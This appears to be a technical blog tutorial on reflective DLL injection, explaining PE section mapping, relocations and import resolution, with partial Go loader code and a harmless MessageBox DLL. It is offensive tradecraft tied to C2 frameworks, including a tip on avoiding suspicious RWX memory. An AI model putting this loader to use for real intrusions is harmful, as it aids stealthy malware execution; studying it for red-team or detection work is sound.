Reflective DLL injection is one of the most common techniques used for loading code in memory. Most c2 frameworks are using some variation of this code to reflectively and dynamically load additional functionality (meterpreter, cobalt strike).
It is also common for these frameworks to provide SRDI functionality which is basically the same code as described in this article, turned into assembly and appended (or prepended) to the dll bytes. That provides more flexibility since the code could be handled the same way as any PIC shellcode.
Background knowledge
In an ideal scenario we would load the dll in memory, and point execution to the entry point and that would be the end of it. Unfortunately, it's not that simple and quite a few steps are required before executing the dll.
The code needs to be broken into 3 parts.
1. RAW offsets -> RVA
When the dll is on disc the different sections are addressed with the raw offset but when the dll is in memory the different sections are addressed using the RVA. Let's take a look into the section headers.
In this case we are particularly interested in lines 4,5 and 6.
Let's see the definitions from Microsoft's documentation:
VirtualAddress
For executable images, the address of the first byte of the section relative to the image base when the section is loaded into memory. For object files, this field is the address of the first byte before relocation is applied; for simplicity, compilers should set this to zero. Otherwise, it is an arbitrary value that is subtracted from offsets during relocation.
SizeOfRawData
The size of the section (for object files) or the size of the initialized data on disk (for image files). For executable images, this must be a multiple of FileAlignment from the optional header. If this is less than VirtualSize, the remainder of the section is zero-filled. Because the SizeOfRawData field is rounded but the VirtualSize field is not, it is possible for SizeOfRawData to be greater than VirtualSize as well. When a section contains only uninitialized data, this field should be zero.
PointerToRawData
The file pointer to the first page of the section within the COFF file. For executable images, this must be a multiple of FileAlignment from the optional header. For object files, the value should be aligned on a 4-byte boundary for best performance. When a section contains only uninitialized data, this field should be zero.
So in summary the PointerToRawData points to the data when the dll is at rest, the SizeOfRawData is the actual size of the data pointed to by the PointerToRawData and the VirtualAddress is the Relative address from the base address to be used during execution. When the dll is loaded in memory the image size expands and therefore any additional space will be filled with 0s. To better understand the above concepts we can take a look at PE bear for a visual representation of the dll on disk and in memory.
The sections on the left represent the dll on disk while the data on the right represent the dll in memory. The grey padding in between sections is zero-filled.
2. Relocations
When a DLL is loaded into memory it's base address is the same as the Image Base address from the optional header right? Nope, Wrong. Ever since the introduction of the ASLR (dll base addresses are randomised by the OS) it is highly improbable for a dll to be loaded at its preferred address.
We could try allocate the specific memory using VirtualAlloc, but it could potentially fail if the memory is already reserved. If we fail to allocate the preferred address the dll execution will fail since the compiler hardcodes addresses in the dll at compile time.
Thankfully for us the hardcoded values are documented in the .reloc section of the executable. Let's have a quick look in the following c structures.
We are interested in the PageAddress and the Offset. Adding these two should give us the RVA of the address that needs to be relocated.
Let's go back to PE-Bear again in order to understand exactly what we are supposed to do.
We can see that we have a relocation at page with RVA 0x2000. The offset of the relocation is at 0x558. That gives us the relocation RVA of 0x2558 (0x2000+0x558).
At the very top we can see the memory that has the value 40 25 40 AE 03. That is essentially an address pointer 0x03ae722540.
From the optional header we can see that the preferred image Base of the DLL is 0x3ae720000.
To get the correct value we need to perform the following calculation:
0x03ae722540 - 0x3ae720000 which will give us the RVA and add the new dll base address returned from VirtualAlloc.
We then have to loop through all pages and modify all relocations for all pages.
3. Import Directory
The last obstacle to executing the dll is to dynamically resolve the Import addresses and modify the IAT to include them. The answer in this stackoverflow article provides a very good explanation of the process.
So in the .idata section we can find an array of IMAGE_IMPORT_DESCRIPTORS, one for each external dll requirement. This is how it looks in pe-bear.
So what we are interested is the FirstThunk. That is an RVA pointing to an array of _IMAGE_THUNK_DATA
typedefstruct_IMAGE_THUNK_DATA {union {uint32_t* Function; // address of imported functionuint32_t Ordinal; // ordinal value of function PIMAGE_IMPORT_BY_NAME AddressOfData; // RVA of imported name DWORD ForwarderStringl // RVA to forwarder string } u1;} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;
When looking at the struct in memory we come across another RVA which essentially points to the name of the function.
So by navigating the IMAGE_IMPORT_DESCRIPTOR and the _IMAGE_THUNK_DATA we can get the names (or ordinals) of the functions we need to import and add the memory addresses at the location of the first thunk and then increase by 8 bytes in a loop for all subsequent functions.
The following image demonstrates how the end result will look like after the import addresses are written in the IAT:
Code analysis
DLL code
All this code does is to display a MessageBox when the dll is attached to a process. The only exported function is DllMain.
To compile it simply run gcc -shared -o mydll.dll dll.c
A compiled version of the dll can be find on my github repo
This can be modified so the bytes can be received from the internet, but for the sake of simplicity we just used the ReadFile function to read the contents of the dll in a byte slice.
We then get a pointer to the first byte of the slice to use as the base address.
dllBytes, err := os.ReadFile("mydll.dll")if err !=nil { log.Fatalf("Failed to open file %v", err) } dllPtr :=uintptr(unsafe.Pointer(&dllBytes[0]))
Once the dll is loaded to memory we can then go ahead and capture the contents of the PE headers.
The headers hold a lot of information that will be useful throughout our program. To cast the dll pointer to the above structure the following code is used:
From now on instead of having to read contents of the memory we can use this struct to get our desired values.
2. Allocate memory for the dll
As discussed in the previous section we will have to rearrange the layout of the dll to match the expected RVA offsets. In order to do that we will used VirtualAlloc Windows API. In order to to avoid having the highly suspicious RWX permissions we will first assign the RW permissions and then change the permissions of the .text section to RX.
The allocated memory will have the size specified in the OptionalHeader. We also specify the desired address from the optional header. If the memory is being reserved, the specified address is rounded down to the nearest multiple of the allocation granularity. If the memory is already reserved and is being committed, the address is rounded down to the next page boundary.
The first step is to copy the headers of the dll to our newlly allocated memory. The headers start from offset 0 and the size can be found in the optional header (SizeOfHeaders).
As previously mentioned, copying sections is not straight forward. We will have to turn RAW offsets to RVAs and fill the resulting memory gaps with zeros. Thankfully for us VirtualAlloc allocates a page of zeros therefore we only have to write the sections at the correct offset.
Firstly we need to identify how many sections there are in our dll. The IMAGE_FILE_HEADER holds that value in the NumberOfSection variable.
We then go ahead and calculate the address of our section headers.
We then create a for loop to read the section header entries and copy each section to the right location. Firstly we have to define the IMAGE_SECTION_HEADER struct
A few nested loops are used in order to capture the relocation blocks and the base relocation entries. Before we get into the code let's define a few structures first and a few helper functions.
typeBASE_RELOCATION_BLOCKstruct { PageAddress uint32 BlockSize uint32}// BASE_RELOCATION_ENTRY represents the base relocation entry structuretypeBASE_RELOCATION_ENTRYstruct { OffsetType uint16// Combined field for Offset and Type}// Offset extracts the Offset from the combined fieldfunc (bre BASE_RELOCATION_ENTRY) Offset() uint16 {return bre.OffsetType &0xFFF}// Type extracts the Type from the combined fieldfunc (bre BASE_RELOCATION_ENTRY) Type() uint16 {return (bre.OffsetType >>12) &0xF}
The BASE_RELOCATION_ENTRY is not defined the same way it would in C (see below). Since we don't have bit level control to define the last 4 bits we go ahead and combine the two values in a sturct and use the Offset() and Type() helper functions to extract the desired values.
Line 3: Calculates the address of the first relocation block
Line 4: Calculates the address of the first relocation entry
Line 8: Calculates how many relocations entries in the block
Line 11-15 : Creates a slice of BASE_RELOCATION_ENTRY and fills it in from the data on memory
Line 16: Loops through the contents of the slice
Line 23: Calculates the relocationRVA
Line 25: Reads the contents of the memory from memory
Line 29-31: Turns the byte slice to uintptr, Calculates the new address and turn it back to byte slice
Line 32-35: Writes the new address back to memory
6. Imports
The last piece of the puzzle is to fill in the addresses of the imported functions in IAT. Similarly with the relocations section, we have to find the address of our section from the import header.
Let's define our constant for the Data Directory index
IMAGE_DIRECTORY_ENTRY_IMPORT =0x1
Also the Image Import Descriptor struct has to be defined
Line 2: Casting the pointer to IMAGE_IMPORT_DESCRIPTOR
Lines 6-8: Get the name of the dll to load. We can get the DLL name RVA from the importDescriptor.Name. We then get the name from the byte pointer located in the RVA.
Lines 9-12: Load the dll using windows API LoadLibrary
Line 13: Points to the thunk of the first imported function
Line 16: We then read the first 2 bytes to get the RVA to the Hint/Name of the function
Lines 20: We add 2 to the RVA to skip the hint and point directly to the Name bytes
Line 22: Get the Name of the function
Lines 23-27: Get the address of the function using the GetProcAddress API
Line 28: Turn the uintptr to a byte slice to be used in WriteProcessMemory
Lines 30-34: Overwrite the contents of the thunk with the address of the function.
Line 35: Adds 0x8 bytes to jump to the next thunk
Line 38: Adds 0x14 bytes to jump to the next image descriptor
7. Execution
With everything in place we can now use the SyscallN function to execute our code. We first define the DLL_PROCESS_ATTACH constant
DLL_PROCESS_ATTACH =0x1
syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), dllBase, DLL_PROCESS_ATTACH, 0)fmt.Println("[+] DLL function executed")err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE)if err !=nil { log.Fatalln("[ERROR] Failed to Free Memory")}fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase)
Lines 1-4: We run the SyscallN function.
The first argument is the address to be executed in our case the entry point of the DLL, In the future we can go through the exports table and run any exported function
We then have to provide the base address of the dll
We then have to define the DLL_PROCESS_ATTACH in order to execute
Line 6: We perform some clean up actions after we are done executing the dll
